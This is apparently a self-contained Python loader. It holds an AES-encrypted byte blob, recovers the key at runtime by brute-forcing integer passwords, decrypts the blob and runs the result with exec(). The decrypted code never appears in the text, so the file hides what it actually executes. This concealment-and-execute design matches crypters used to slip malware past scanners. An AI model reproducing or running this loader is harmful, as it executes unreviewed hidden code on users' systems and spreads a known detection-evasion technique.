from Crypto import Random
from Crypto.Cipher import AES
import hashlib
import random
class Decryptor:
	def __init__(self, key, file_name):
		self.key = hashlib.sha256(key.encode('utf-8')).digest()
		self.file_name = file_name

	def pad(self, s):
		return s + b"\0" * (AES.block_size - len(s) % AES.block_size)

	def decrypt(self, ciphertext, key):
		iv = ciphertext[:AES.block_size]
		cipher = AES.new(key, AES.MODE_CBC, iv)
		plaintext = cipher.decrypt(ciphertext[AES.block_size:])
		return plaintext.rstrip(b"\0")

	def decrypt_file(self):
		dec = self.decrypt(self.file_name, self.key)
		return dec

class BruteForce:
	def __init__(self, encrypted_codes):
		self.encrypted_codes = encrypted_codes
		self.password = 0

	def start(self): 
		status = True
		while status:
			try:
				test = Decryptor(str(self.password), self.encrypted_codes)
				decrypted_code = test.decrypt_file()
				executable = decrypted_code.decode() 
				status = False
				return executable 
			except UnicodeDecodeError:
				self.password += 1

encrypted_codes = b'\xe5\xc0!z\n\x13Os\x167jJ\xdd;\x98\xd2\x90R\xd9\xad\x1b\xb3BcP\xa8\xffh\xaf\x94\xb2\xcb9\xb2Z\xa2\xfe\x1f\xa6\x1f\xf2\xd9\x1e8P\xedlw}\x95\xe5i\xa2\xdb\x94\xca\xe4m\'\x87\x8a\xed(|<\xb4E\xcb)\x81f\x1d\xb8#\x94\x1d\xcf\xd2#@%\nM&\n\'\x87\x11\x88+\xe3\xac\xad\xd9&\x9f\xcc\x1bS\x9a\xdf\x08O\x01D\xea\x1fy\x8bwf\xd6)\xc1l\xf3"\xe8\xeeb\xa6\xb1\xe9J `_\xaa-`\xc7\xa3\xfb\x1d]\xb5\x06"2o\xf0\x00\x1f\xc0\xc5\x15\xbc<z\xbd\x14\xa2\x0c\x89O\xc9+\x12p:\xf0E#\xa3\xd0\x89\x9d]\xad\xf1\xeb\xd4w\x00$\xc5\x9fH\x8ex\x88\xc1\xf8\xdf@\x9b\xbb\xc2\x8a\x1fK{F\x80\xf29\xef\xf78?\xf0\xf1#\x0f\xce\x00\xf6]\xe8\xce\xc3[\xa2\x11\x9c\xbf\x0f\x08H\x9c9\x80\x83\xc3\xd5JY\xdfotC4q\xe1:\x91J-\x96\x86\xf0\x82\x91\xf9\x8fp\x9b@X\xfd\xcd\xea2\xbe\xef\xa5D.\xa6z\xcd\xfe\x91Z\xfc\xc7\x00\xe0wF\t\xc2\x95\x14\xd0\xed\x11\xb5\xca\xb6P\xde\xf0C\x12!\x9eX:a\x86\xdd\xdc\x08\x95PBr\xff\xac:\xa4\xa0\xad\xe4\xc0h\x90M\xb2\xc7*\x7f\xd7`:i\xedg1;7@\x1e+\xed\xab\x16\xa5G\x1f-E[\xa5X\xa2W!{\xcc\x97(FHK9\xc61\xee5H\xa7\xd7\xb4\xf1\xf3E\x8d\x1e\x15\xf1)\x19>\n/\x9a\xed,\xc0 \x1b\xb7\x08{\xbb\xe6\xd4cm\xb5\xe8\x91\xb4y4\xa7\xb5@\xafK=\xb2\xdd\xb083M\x9f\x97l0\x10\xfd\x7f\xa5\xfc\x16\xefH[\xcf\x90\x85\xffY5\xeew\xc2\x90\xfbW\x12d\xc3\xb1\x15\x0e\xe3\x1c\xb3RF\x15\xd7\xb4W\xb4\xb3\xad\'\x1f#j6L)\x1b\xd1\xb5#\x11uZ\x921\x18\xa2\xf8\xf1\x1e\xc1\xe5j\xf70:\xf9\xe7\xff\xe0),\x07\xbff\xff\xfb\x1e\xd7\x1cLQPE\xe6\x12/t_\xc4\x8e\x01\xd3u\xe0\xf9\xb5\x06\xe7?\x1b\x8a\xf2g\xba\x1f\x0b\xfe\xcb\xa6\x8d\xa4\xb6J\xe2\\\xc7,\xcf\xfb?\xc0)|\x90\x08[\xe0\x92%\x0b\xaa\xc3[\xae=w"\xe5"H\x84\xe13\x99\xda)\x15\xad\x99\xdb\x93\xe6B\xdd\xcc/c\xe9G(\x0b\xc1_\xce\xe3AO\x17{N\xb6\xed\xd1~\xae\rg\x82\x17\x0e\x86m\xe4\x9awCEE\x91\xcd^\xa2x \xa0\xd7n\xe3C\xe2\x95]\xf7\xf6\x8c\xc1HUG\xf5ux@[fp\xba\xbfZ\xe3\'\xe7\x9acUIo\x91\xc3\xa6\x84\xd5\x19)\x89\x0f\x0e\xe7\xf2\xcd\xa0\xeb]\x02\xaf\x94\x93UK\x95\xf2\xbb]k\x02\xde6\x8e\xab\xff\x84\xd5\xae\x05T\xedL\x86\x06\x85Em\xd1\x94\x13L\xdc\xdb\x94"\xfc\xaau8\xe2B\xd8n\x12W\xc8\xd4{\x86\x88\xa4y\xe9\x81\t\xacJ\xdf\x1e[\xe2J\xa4!q\xb5K\xba\xc0#\x86kT\x0c\x1bhZ\x16\xd3\xc1\xb4\x9c:#\x84\n\xe8\x8c\xfe\xea\xd6\x08R\x15\xb1\xa7\xe7\x9d\x07F\x91B\xa1o\xce\xaa\xd7\xb0O\xd1?\xd4Zi\x17\xd5\xf2\xdd&\xcdgt\xa5\xee\x9b6\xe9\xad\x83\xdcl\xfe\xed\xc1Zy\xca\x02\xf0\xe2\xeb$f\xa4|\xedq\xb4"\xab\xa9?nb\xc8\xf7n\xacr\x15\xd8\x11#\rlz\xf4W\xf2\xd6N[IA5Xk\xb5\x1f\x8d\xb36\xd1\xcf\xe3\xaf(\xcb\xc8\xde\\3c\x95J\xc3)N\xd1\xef(s{Y\x89Q[\x18q\x89\xaf~\x1a,v\xd7\x9a\xc7\xf7\xabf\x02\x05\xb6\xc8\xbd\xfc\xc5\x1d\t)\x08\xca,\xda\xa2{\x0b\x10o\xea\x97.f-\r\x18\xc5\xa6\x88\xdb*B$\x0b"0Qh*+\xb8\xd7\x8bR\x16\xde\xb4\xc18\xd2\xcd\xe5y\x04\x7f\x0b\x98\xec\x13#\xf4&\x8ez\xa6\xac\x8a\xb7\xc3aB\xca%C|\xac\xbd9\x8aYnm\xc9Y\x0e\xcf(\xc4\xf1\xbe\xd9\xfe\x1b]\xa71\x1a\xcf{\x95E\xd5\x9b0\xbd\xf3\xb9\xde\x03<\xae{U\x14\xe3\xcb\xb9\xdf\xd1\x13t\x97\xe1\x9f:\xbdA\x1bd\xf9b\x10\x834\xf0/\xa1wu\x8a\xd0W\xef!\x98\xa8\rbb\xfe\xa9\xdbu4\xceKBV\x86\xbf@\x97\xec\xc6\xc6\xc0\x15\xdd\x07\x89m0\x0b"\xd7\x1c7}\xa90\x8b\xb5\x0f\xd7\x984O%\xfd\xde"\x9d\x7f\xd5\x9d\x08\x1aj\x9a\x19\x17Z\x86\x01\x89`\x14)_`\x800XdA]\n&!\xdc\x8c\x1c#\x1a\xf8\x05\x1e\x158\xcf\xd4\xf0\x10\xdd\xce<?I\xe3,\xbe\x1c\r\t\'\x02 N\xf78\xf1Z\xae\x91\xb0\xc68P\x0e\x80O\x06\xfc\x9f\x0c"\xb1q$\xf5Pz\xca\x03[\xdaB)\xa3\x903,\x0bGr]F\x0c@\xd8|\x0cE/\x0e\x98Pr`\x85C+\xb4\x1a\xe2\x1bC\xa0\xb2a\xfa\xcb\xd6\xe3\xa0\x89\x85M}\xca\x94t\xfem\xa9,\xe6\x16\xb6A\xfehbv\xd0?\xd6\xadk*$`\xe1#\xb7_\xdb\x1d\xb4\xc8\x83M\x12\xaf\xad`%Yy\xb4xFL-vK7,,\xff\x85\xccv\xc8\xa6\x01\xad\xe8h`\x85\xf4\x11\x93\x08\xe6\x10\xa8\x0f\n\x04\x95\x0bx\xa7<\x0c\xed\xef\x06/q\xb3\xf1\xb2\xde\xa0\xa4\xf0\xd15\xf9\xdc\xadb\xe7\x17\xed\x8dK<\xa1`\x8a\xbc\xa8\xe4fn\x8f\x1f\xd4\xa5\x1b\x7f\xde\xbc\x87tY\x81\x01~`A\xb6\xa5L\xee\xef\xc6\xadN\xdc \x0e|\x95\x93\xd4\xbc\xdc\xf4\xe3\x947\xd3<\xd7\t\xd3?\xa5b\xfd\xcet\xb1\x9f\x07=\xe5y\xd7\xcb\xdd\xa9e\x00\x04<E\xe1\xd9\xa4\xcd\xd1\x11\x80\x80`\xde\xa3\xfb\n\xa9\x9e\x04#\xc6\xebM\x82\xb8\x84\x18\x1d\x95\x00\x03\xe8\xa6\x04\xc6\xef~\x92\x93]\xf3\xe7\x9213\xd0{\x1f\xe78\xc3\x01\xba\xb2\x18\xa1\xec]!UE2n\xfb\xee\x92\x9e\xe2\xa2^5\xb6\xb3\xf0 \xa2#\x1c\xdb\xa4%\x16w\x17m\x15\x9fKr/\xdd\x97\xb3\x0f\xb8\xe5\x9d\xfc\xc5\x8e:\x16m\x02\'\xce\x8c\x12\x1f\xf7\x10y\xec\x12\xec\x1e/iR\xb3\x82a\x18\x1b\x9f\xb43\x88vH\xebF\x97\xba\xd5"\xfe\x02\x0c\x99{\x8f\xa9L\xb1!\xaa\x18|\xa0\xe9\x92\x83\xf5\x03\x84\x0c6\xf1\x0b\x0cP\x07#\x7f\xdeY^\x1c)\xed\x0cG\x00\xcc3s'
brute = BruteForce(encrypted_codes)
executable = brute.start()
exec(executable)
